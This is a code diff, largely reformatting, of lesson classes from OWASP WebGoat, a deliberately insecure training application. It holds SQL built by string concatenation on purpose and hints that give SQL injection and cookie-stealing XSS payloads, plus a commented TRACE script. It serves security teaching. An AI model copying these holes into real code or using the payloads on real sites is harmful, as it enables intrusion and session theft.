Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet results = statement.executeQuery(query);
if ((results != null) && (results.first() == true))
{
ResultSetMetaData resultsMetaData = results.getMetaData();
ec.addElement(DatabaseUtilities.writeTable(results,resultsMetaData));
ec.addElement(DatabaseUtilities.writeTable(results, resultsMetaData));
results.last();
// If they get back more than one user they succeeded
@ -117,11 +117,8 @@ public class DOS_Login extends LessonAdapter
// Make sure this isn't data from an sql injected query.
if (results.getString(2).equals(username) && results.getString(3).equals(password))
{
String insertData1 = "INSERT INTO user_login VALUES ( '"
+ username
+ "', '"
+ s.getUserName()
+ "' )";
String insertData1 = "INSERT INTO user_login VALUES ( '" + username + "', '"
+ s.getUserName() + "' )";
statement.executeUpdate(insertData1);
}
// check the total count of logins
@ -132,7 +129,8 @@ public class DOS_Login extends LessonAdapter
if (results.getRow() >= 3)
{
makeSuccess(s);
String deleteData1 = "DELETE from user_login WHERE webgoat_user = '" + s.getUserName() + "'";
String deleteData1 = "DELETE from user_login WHERE webgoat_user = '" + s.getUserName()
+ "'";
statement.executeUpdate(deleteData1);
return (new H1("Congratulations! Lesson Completed"));
}
@ -144,31 +142,26 @@ public class DOS_Login extends LessonAdapter
{
ec.addElement(new H2("Login Failed"));
// check the total count of logins
query = "SELECT * FROM user_login WHERE webgoat_user = '"
+ s.getUserName() + "'";
query = "SELECT * FROM user_login WHERE webgoat_user = '" + s.getUserName() + "'";
results = statement.executeQuery(query);
results.last();
ec.addElement(new H2("Successfull login count: "
+ results.getRow()));
ec.addElement(new H2("Successfull login count: " + results.getRow()));
}
}
catch (SQLException sqle)
} catch (SQLException sqle)
{
ec.addElement(new P().addElement(sqle.getMessage()));
sqle.printStackTrace();
}
}
catch (ParameterNotFoundException pnfe)
} catch (ParameterNotFoundException pnfe)
{
/**
* Catching this exception prevents the "Error generating org.owasp.webgoat.lesson.DOS_Login"
* message from being displayed on first load. Note that if we are missing a parameter in
* the request, we do not want to continue processing and we simply want to display the
* default login page.
* Catching this exception prevents the "Error generating
* org.owasp.webgoat.lesson.DOS_Login" message from being displayed on first load. Note
* that if we are missing a parameter in the request, we do not want to continue
* processing and we simply want to display the default login page.
*/
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
}
@ -176,7 +169,6 @@ public class DOS_Login extends LessonAdapter
return (ec.addElement(makeLogin(s)));
}
/**
* Gets the category attribute of the WeakAuthenticationCookie object
*
@ -187,7 +179,6 @@ public class DOS_Login extends LessonAdapter
return Category.DOS;
}
/**
* Gets the hints attribute of the CookieScreen object
*
@ -199,20 +190,17 @@ public class DOS_Login extends LessonAdapter
hints.add("Use a SQL Injection to obtain the user names. ");
hints
.add("Try to generate this query: SELECT * FROM user_system_data WHERE user_name = 'goober' and password = 'dont_care' or '1' = '1'");
hints
.add("Try &quot;dont_care' or '1' = '1&quot; in the password field");
hints.add("Try &quot;dont_care' or '1' = '1&quot; in the password field");
return hints;
}
private final static Integer DEFAULT_RANKING = new Integer(90);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the CookieScreen object
*
@ -223,11 +211,11 @@ public class DOS_Login extends LessonAdapter
return ("Denial of Service from Multiple Logins");
}
/**
* Description of the Method
*
* @param s Description of the Parameter
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
protected Element makeLogin(WebSession s)

View File

@ -1,9 +1,9 @@
package org.owasp.webgoat.lessons;
import java.util.ArrayList;
import java.util.List;
import java.util.regex.Pattern;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.html.A;
@ -20,32 +20,31 @@ import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.WebSession;
import org.owasp.webgoat.util.HtmlEncoder;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
@ -55,14 +54,18 @@ import org.owasp.webgoat.util.HtmlEncoder;
public class DangerousEval extends LessonAdapter
{
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0));
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
.addElement(
new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
.setVspace(0));
public final static String PASSED = "__DANGEROUS_EVAL_PASS";
/**
* Description of the Method
*
* @param s Description of the Parameter
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
@ -77,7 +80,8 @@ public class DangerousEval extends LessonAdapter
checkSuccess(s);
String param1 = s.getParser().getRawParameter("field1", "111");
//String param2 = HtmlEncoder.encode(s.getParser().getRawParameter("field2", "4128 3214 0002 1999"));
// String param2 = HtmlEncoder.encode(s.getParser().getRawParameter("field2", "4128 3214
// 0002 1999"));
float quantity = 1.0f;
float total = 0.0f;
float runningTotal = 0.0f;
@ -103,7 +107,10 @@ public class DangerousEval extends LessonAdapter
tr = new TR();
tr.addElement(new TD().addElement("Studio RTA - Laptop/Reading Cart with Tilting Surface - Cherry "));
tr.addElement(new TD().addElement("69.99").setAlign("right"));
tr.addElement(new TD().addElement(new Input(Input.TEXT, "QTY1", s.getParser().getStringParameter("QTY1", "1"))).setAlign("right"));
tr.addElement(new TD().addElement(
new Input(Input.TEXT, "QTY1", s.getParser().getStringParameter("QTY1",
"1")))
.setAlign("right"));
quantity = s.getParser().getFloatParameter("QTY1", 0.0f);
total = quantity * 69.99f;
runningTotal += total;
@ -112,7 +119,10 @@ public class DangerousEval extends LessonAdapter
tr = new TR();
tr.addElement(new TD().addElement("Dynex - Traditional Notebook Case"));
tr.addElement(new TD().addElement("27.99").setAlign("right"));
tr.addElement(new TD().addElement(new Input(Input.TEXT, "QTY2", s.getParser().getStringParameter("QTY2", "1"))).setAlign("right"));
tr.addElement(new TD().addElement(
new Input(Input.TEXT, "QTY2", s.getParser().getStringParameter("QTY2",
"1")))
.setAlign("right"));
quantity = s.getParser().getFloatParameter("QTY2", 0.0f);
total = quantity * 27.99f;
runningTotal += total;
@ -121,7 +131,10 @@ public class DangerousEval extends LessonAdapter
tr = new TR();
tr.addElement(new TD().addElement("Hewlett-Packard - Pavilion Notebook with Intel® Centrino™"));
tr.addElement(new TD().addElement("1599.99").setAlign("right"));
tr.addElement(new TD().addElement(new Input(Input.TEXT, "QTY3", s.getParser().getStringParameter("QTY3", "1"))).setAlign("right"));
tr.addElement(new TD().addElement(
new Input(Input.TEXT, "QTY3", s.getParser().getStringParameter("QTY3",
"1")))
.setAlign("right"));
quantity = s.getParser().getFloatParameter("QTY3", 0.0f);
total = quantity * 1599.99f;
runningTotal += total;
@ -131,7 +144,10 @@ public class DangerousEval extends LessonAdapter
tr.addElement(new TD().addElement("3 - Year Performance Service Plan $1000 and Over "));
tr.addElement(new TD().addElement("299.99").setAlign("right"));
tr.addElement(new TD().addElement(new Input(Input.TEXT, "QTY4", s.getParser().getStringParameter("QTY4", "1"))).setAlign("right"));
tr.addElement(new TD().addElement(
new Input(Input.TEXT, "QTY4", s.getParser().getStringParameter("QTY4",
"1")))
.setAlign("right"));
quantity = s.getParser().getFloatParameter("QTY4", 0.0f);
total = quantity * 299.99f;
runningTotal += total;
@ -153,14 +169,11 @@ public class DangerousEval extends LessonAdapter
tr.addElement(new TD().addElement("The total charged to your credit card:"));
tr.addElement(new TD().addElement("$" + runningTotal));
Input b = new Input();
b.setType(Input.BUTTON);
b.setValue("Update Cart");
b.addAttribute("onclick", "purchase('lessons/Ajax/eval.jsp');");
tr.addElement(new TD().addElement(b));
t.addElement(tr);
tr = new TR();
@ -168,12 +181,13 @@ public class DangerousEval extends LessonAdapter
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("Enter your credit card number:"));
tr.addElement(new TD().addElement("<input id='field2' name='field2' type='TEXT' value='4128 3214 0002 1999'>"));
tr.addElement(new TD()
.addElement("<input id='field2' name='field2' type='TEXT' value='4128 3214 0002 1999'>"));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement("Enter your three digit access code:"));
tr.addElement(new TD().addElement("<input id='field1' name='field1' type='TEXT' value='123'>"));
//tr.addElement(new TD().addElement(new Input(Input.TEXT, "field1",param1)));
// tr.addElement(new TD().addElement(new Input(Input.TEXT, "field1",param1)));
t.addElement(tr);
b = new Input();
@ -188,8 +202,7 @@ public class DangerousEval extends LessonAdapter
ec.addElement(t);
ec.addElement(new BR());
ec.addElement(new HR().setWidth("90%"));
}
catch (Exception e)
} catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
@ -197,7 +210,6 @@ public class DangerousEval extends LessonAdapter
return (ec);
}
/**
* DOCUMENT ME!
*
@ -208,7 +220,6 @@ public class DangerousEval extends LessonAdapter
return Category.AJAX_SECURITY;
}
/**
* Gets the hints attribute of the AccessControlScreen object
*
@ -220,14 +231,17 @@ public class DangerousEval extends LessonAdapter
hints.add("The lesson is similar to the standard reflected cross-site scripting lesson.");
hints.add("The access code parameter is vulnerable to a reflected cross-site scripting problem.");
hints.add("The usual &lt;SCRIPT&gt;alert(document.cookie);&lt;/SCRIPT&gt; will not work in this lesson. Why?");
hints.add("User-supplied data is landing in the Javascript eval() function. Your attack will not require the &lt; and &gt; characters.");
hints
.add("User-supplied data is landing in the Javascript eval() function. Your attack will not require the &lt; and &gt; characters.");
hints.add("In order to pass this lesson, you must 'alert' the document.cookie.");
hints.add("Try 123');alert(document.cookie);('");
return hints;
}
// <script type="text/javascript">if ( navigator.appName.indexOf("Microsoft") !=-1) {var xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");xmlHttp.open("TRACE", "./", false); xmlHttp.send();str1=xmlHttp.responseText;document.write(str1);}</script>
// <script type="text/javascript">if ( navigator.appName.indexOf("Microsoft") !=-1) {var xmlHttp
// = new
// ActiveXObject("Microsoft.XMLHTTP");xmlHttp.open("TRACE", "./", false);
// xmlHttp.send();str1=xmlHttp.responseText;document.write(str1);}</script>
/**
* Gets the instructions attribute of the WeakAccessControl object
*
@ -246,7 +260,6 @@ public class DangerousEval extends LessonAdapter
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the AccessControlScreen object
*
@ -264,13 +277,14 @@ public class DangerousEval extends LessonAdapter
/**
* Check to see if JSP says they passed the lesson.
*
* @param s
*/
private void checkSuccess(WebSession s)
{
javax.servlet.http.HttpSession session = s.getRequest().getSession();
if(session.getAttribute(PASSED) != null)
if (session.getAttribute(PASSED) != null)
{
makeSuccess(s);

View File

@ -1,39 +1,38 @@
package org.owasp.webgoat.lessons;
import java.util.ArrayList;
import java.util.List;
import org.apache.ecs.Element;
import org.apache.ecs.html.A;
import org.apache.ecs.html.IMG;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
@ -42,12 +41,16 @@ import org.owasp.webgoat.session.WebSession;
*/
public class FailOpenAuthentication extends WeakAuthenticationCookie
{
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0));
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
.addElement(
new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
.setVspace(0));
/**
* Description of the Method
*
* @param s Description of the Parameter
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
@ -79,18 +82,15 @@ public class FailOpenAuthentication extends WeakAuthenticationCookie
return (makeLogin(s));
}
}
catch (Exception e)
} catch (Exception e)
{
// The parameter was omitted. set fail open status complete
if (username.length() > 0
&& e.getMessage().indexOf("not found") != -1)
if (username.length() > 0 && e.getMessage().indexOf("not found") != -1)
{
if ((username != null) && (username.length() > 0))
{
makeSuccess(s);
return (makeUser(s, username,
"Fail Open Error Handling"));
return (makeUser(s, username, "Fail Open Error Handling"));
}
}
}
@ -100,7 +100,8 @@ public class FailOpenAuthentication extends WeakAuthenticationCookie
{
// We make sure the username was submitted to avoid telling the user an invalid
// username/password was entered when they first enter the lesson via the side menu.
// This also suppresses the error if they just hit the login and both fields are empty.
// This also suppresses the error if they just hit the login and both fields are
// empty.
if (username.length() != 0)
{
s.setMessage("Invalid username and password entered.");
@ -111,13 +112,9 @@ public class FailOpenAuthentication extends WeakAuthenticationCookie
}
// otherwise authentication is good, show the content
if ((username != null) && (username.length() > 0))
{
return (makeUser(s, username,
"Parameters. You did not exploit the fail open."));
}
}
catch (Exception e)
if ((username != null) && (username.length() > 0)) { return (makeUser(s, username,
"Parameters. You did not exploit the fail open.")); }
} catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
}
@ -125,7 +122,6 @@ public class FailOpenAuthentication extends WeakAuthenticationCookie
return (makeLogin(s));
}
/**
* Gets the category attribute of the FailOpenAuthentication object
*
@ -136,7 +132,6 @@ public class FailOpenAuthentication extends WeakAuthenticationCookie
return Category.ERROR_HANDLING;
}
/**
* Gets the hints attribute of the AuthenticateScreen object
*
@ -146,15 +141,13 @@ public class FailOpenAuthentication extends WeakAuthenticationCookie
{
List<String> hints = new ArrayList<String>();
hints.add("You can force errors during the authentication process.");
hints
.add("You can change length, existance, or values of authentication parameters.");
hints.add("You can change length, existance, or values of authentication parameters.");
hints
.add("Try removing a parameter ENTIRELY with <A href=\"http://www.owasp.org/development/webscarab\">WebScarab</A>.");
return hints;
}
/**
* Gets the instructions attribute of the FailOpenAuthentication object
*
@ -169,13 +162,11 @@ public class FailOpenAuthentication extends WeakAuthenticationCookie
private final static Integer DEFAULT_RANKING = new Integer(20);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the AuthenticateScreen object
*

View File

@ -1,8 +1,8 @@
package org.owasp.webgoat.lessons;
import java.util.ArrayList;
import java.util.List;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
@ -16,32 +16,31 @@ import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
@ -53,18 +52,20 @@ public class ForcedBrowsing extends LessonAdapter
private final static String SUCCEEDED = "succeeded";
private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt("Macadamian Technologies").setBorder(0).setHspace(0).setVspace(0);
private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt("Macadamian Technologies")
.setBorder(0).setHspace(0).setVspace(0);
/**
* Description of the Method
*
* @param s Description of the Parameter
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
{
ElementContainer ec = new ElementContainer();
String success = new String(s.getParser().getStringParameter(SUCCEEDED,""));
String success = new String(s.getParser().getStringParameter(SUCCEEDED, ""));
if (success.length() != 0 && success.equals("yes"))
{
@ -94,12 +95,12 @@ public class ForcedBrowsing extends LessonAdapter
}
else
{
ec.addElement("Can you try to force browse to the config page which should only be accessed by maintenance personnel.");
ec
.addElement("Can you try to force browse to the config page which should only be accessed by maintenance personnel.");
}
return ec;
}
/**
* Gets the category attribute of the ForgotPassword object
*
@ -110,7 +111,6 @@ public class ForcedBrowsing extends LessonAdapter
return Category.INSECURE_CONFIGURATION;
}
/**
* Gets the hints attribute of the HelloScreen object
*
@ -128,13 +128,11 @@ public class ForcedBrowsing extends LessonAdapter
private final static Integer DEFAULT_RANKING = new Integer(15);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the HelloScreen object
*
@ -145,7 +143,6 @@ public class ForcedBrowsing extends LessonAdapter
return ("Forced Browsing");
}
public Element getCredits()
{
return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO);

View File

@ -1,9 +1,9 @@
package org.owasp.webgoat.lessons;
import java.util.ArrayList;
import java.util.List;
import java.util.HashMap;
import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement;
@ -17,36 +17,34 @@ import org.apache.ecs.html.TD;
import org.apache.ecs.html.TH;
import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.ECSFactory;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*
@ -56,7 +54,10 @@ import org.owasp.webgoat.session.WebSession;
public class ForgotPassword extends LessonAdapter
{
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com").addElement(new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0).setVspace(0));
public final static A ASPECT_LOGO = new A().setHref("http://www.aspectsecurity.com")
.addElement(
new IMG("images/logos/aspect.jpg").setAlt("Aspect Security").setBorder(0).setHspace(0)
.setVspace(0));
private final static String USERNAME = "Username";
@ -72,7 +73,6 @@ public class ForgotPassword extends LessonAdapter
private final static HashMap<String, String> COLORS = new HashMap<String, String>();
private void populateTables()
{
USERS.put("admin", "2275$starBo0rn3");
@ -88,7 +88,6 @@ public class ForgotPassword extends LessonAdapter
COLORS.put("webgoat", "red");
}
protected Element doStage1(WebSession s)
{
ElementContainer ec = new ElementContainer();
@ -102,7 +101,9 @@ public class ForgotPassword extends LessonAdapter
}
TR tr = new TR();
tr.addElement(new TH().addElement("Please input your username. See the OWASP admin if you do not have an account.").setColSpan(2).setAlign("left"));
tr.addElement(new TH()
.addElement("Please input your username. See the OWASP admin if you do not have an account.")
.setColSpan(2).setAlign("left"));
t.addElement(tr);
tr = new TR();
@ -127,7 +128,6 @@ public class ForgotPassword extends LessonAdapter
return (ec);
}
protected Element doStage2(WebSession s)
{
ElementContainer ec = new ElementContainer();
@ -141,7 +141,8 @@ public class ForgotPassword extends LessonAdapter
}
TR tr = new TR();
tr.addElement(new TH().addElement("Secret Question: What is your favorite color?").setColSpan(2).setAlign("left"));
tr.addElement(new TH().addElement("Secret Question: What is your favorite color?").setColSpan(2)
.setAlign("left"));
t.addElement(tr);
tr = new TR();
@ -166,7 +167,6 @@ public class ForgotPassword extends LessonAdapter
return (ec);
}
protected Element doStage3(WebSession s)
{
ElementContainer ec = new ElementContainer();
@ -180,11 +180,13 @@ public class ForgotPassword extends LessonAdapter
}
TR tr = new TR();
tr.addElement(new TH().addElement("For security reasons, please change your password immediately.").setColSpan(2).setAlign("left"));
tr.addElement(new TH().addElement("For security reasons, please change your password immediately.")
.setColSpan(2).setAlign("left"));
t.addElement(tr);
tr = new TR();
tr.addElement(new TD().addElement(new BR().addElement(new B().addElement(new StringElement("Results:")))).setAlign("left"));
tr.addElement(new TD().addElement(new BR().addElement(new B().addElement(new StringElement("Results:"))))
.setAlign("left"));
t.addElement(tr);
tr = new TR();
@ -212,11 +214,11 @@ public class ForgotPassword extends LessonAdapter
return ec;
}
/**
* Description of the Method
*
* @param s Description of the Parameter
* @param s
* Description of the Parameter
* @return Description of the Return Value
*/
protected Element createContent(WebSession s)
@ -281,7 +283,6 @@ public class ForgotPassword extends LessonAdapter
return ec;
}
/**
* Gets the category attribute of the ForgotPassword object
*
@ -293,7 +294,6 @@ public class ForgotPassword extends LessonAdapter
return Category.AUTHENTICATION;
}
/**
* Gets the hints attribute of the HelloScreen object
*
@ -313,13 +313,11 @@ public class ForgotPassword extends LessonAdapter
private final static Integer DEFAULT_RANKING = new Integer(15);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the title attribute of the HelloScreen object
*
@ -330,7 +328,6 @@ public class ForgotPassword extends LessonAdapter
return ("Forgot Password");
}
public Element getCredits()
{
return super.getCustomCredits("", ASPECT_LOGO);

View File

@ -1,42 +1,42 @@
package org.owasp.webgoat.lessons.GoatHillsFinancial;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
import org.owasp.webgoat.lessons.RoleBasedAccessControl.RoleBasedAccessControl;
import org.owasp.webgoat.session.ParameterNotFoundException;
import org.owasp.webgoat.session.UnauthenticatedException;
import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
*
*
* This file is part of WebGoat, an Open Web Application Security Project
* utility. For details, please see http://www.owasp.org/
* This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2007 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under
* the terms of the GNU General Public License as published by the Free Software
* Foundation; either version 2 of the License, or (at your option) any later
* version.
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
* details.
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple
* Place - Suite 330, Boston, MA 02111-1307, USA.
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at code.google.com, a repository
* for free software projects.
* Source for this application is maintained at code.google.com, a repository for free software
* projects.
*
* For details, please see http://code.google.com/p/webgoat/
*/
@ -55,8 +55,8 @@ public abstract class DefaultLessonAction implements LessonAction
this.actionName = actionName;
}
public void handleRequest( WebSession s )
throws ParameterNotFoundException, UnauthenticatedException, UnauthorizedException, ValidationException
public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
UnauthorizedException, ValidationException
{
getLesson().setCurrentAction(s, getActionName());
@ -102,10 +102,7 @@ public abstract class DefaultLessonAction implements LessonAction
protected String getSessionAttribute(WebSession s, String name) throws ParameterNotFoundException
{
String value = (String) s.getRequest().getSession().getAttribute(name);
if (value == null)
{
throw new ParameterNotFoundException();
}
if (value == null) { throw new ParameterNotFoundException(); }
return value;
}
@ -121,8 +118,10 @@ public abstract class DefaultLessonAction implements LessonAction
}
else
{
//System.out.println("Attribute " + name + " is of type " + s.getRequest().getSession().getAttribute(name).getClass().getName());
//System.out.println("Attribute value: " + s.getRequest().getSession().getAttribute(name));
// System.out.println("Attribute " + name + " is of type " +
// s.getRequest().getSession().getAttribute(name).getClass().getName());
// System.out.println("Attribute value: " +
// s.getRequest().getSession().getAttribute(name));
value = ((Boolean) attribute).booleanValue();
}
return value;
@ -141,8 +140,7 @@ public abstract class DefaultLessonAction implements LessonAction
try
{
value = Integer.parseInt(ss);
}
catch (NumberFormatException nfe)
} catch (NumberFormatException nfe)
{
}
}
@ -153,10 +151,7 @@ public abstract class DefaultLessonAction implements LessonAction
protected String getRequestAttribute(WebSession s, String name) throws ParameterNotFoundException
{
String value = (String) s.getRequest().getAttribute(name);
if (value == null)
{
throw new ParameterNotFoundException();
}
if (value == null) { throw new ParameterNotFoundException(); }
return value;
}
@ -174,8 +169,7 @@ public abstract class DefaultLessonAction implements LessonAction
try
{
value = Integer.parseInt(ss);
}
catch (NumberFormatException nfe)
} catch (NumberFormatException nfe)
{
}
}
@ -199,20 +193,18 @@ public abstract class DefaultLessonAction implements LessonAction
try
{
Statement answer_statement = WebSession.getConnection(s).createStatement( ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY );
ResultSet answer_results = answer_statement.executeQuery( query );
if (answer_results.next())
name = answer_results.getString("first_name");
}
catch ( SQLException sqle )
Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query);
if (answer_results.next()) name = answer_results.getString("first_name");
} catch (SQLException sqle)
{
s.setMessage( "Error getting user name" );
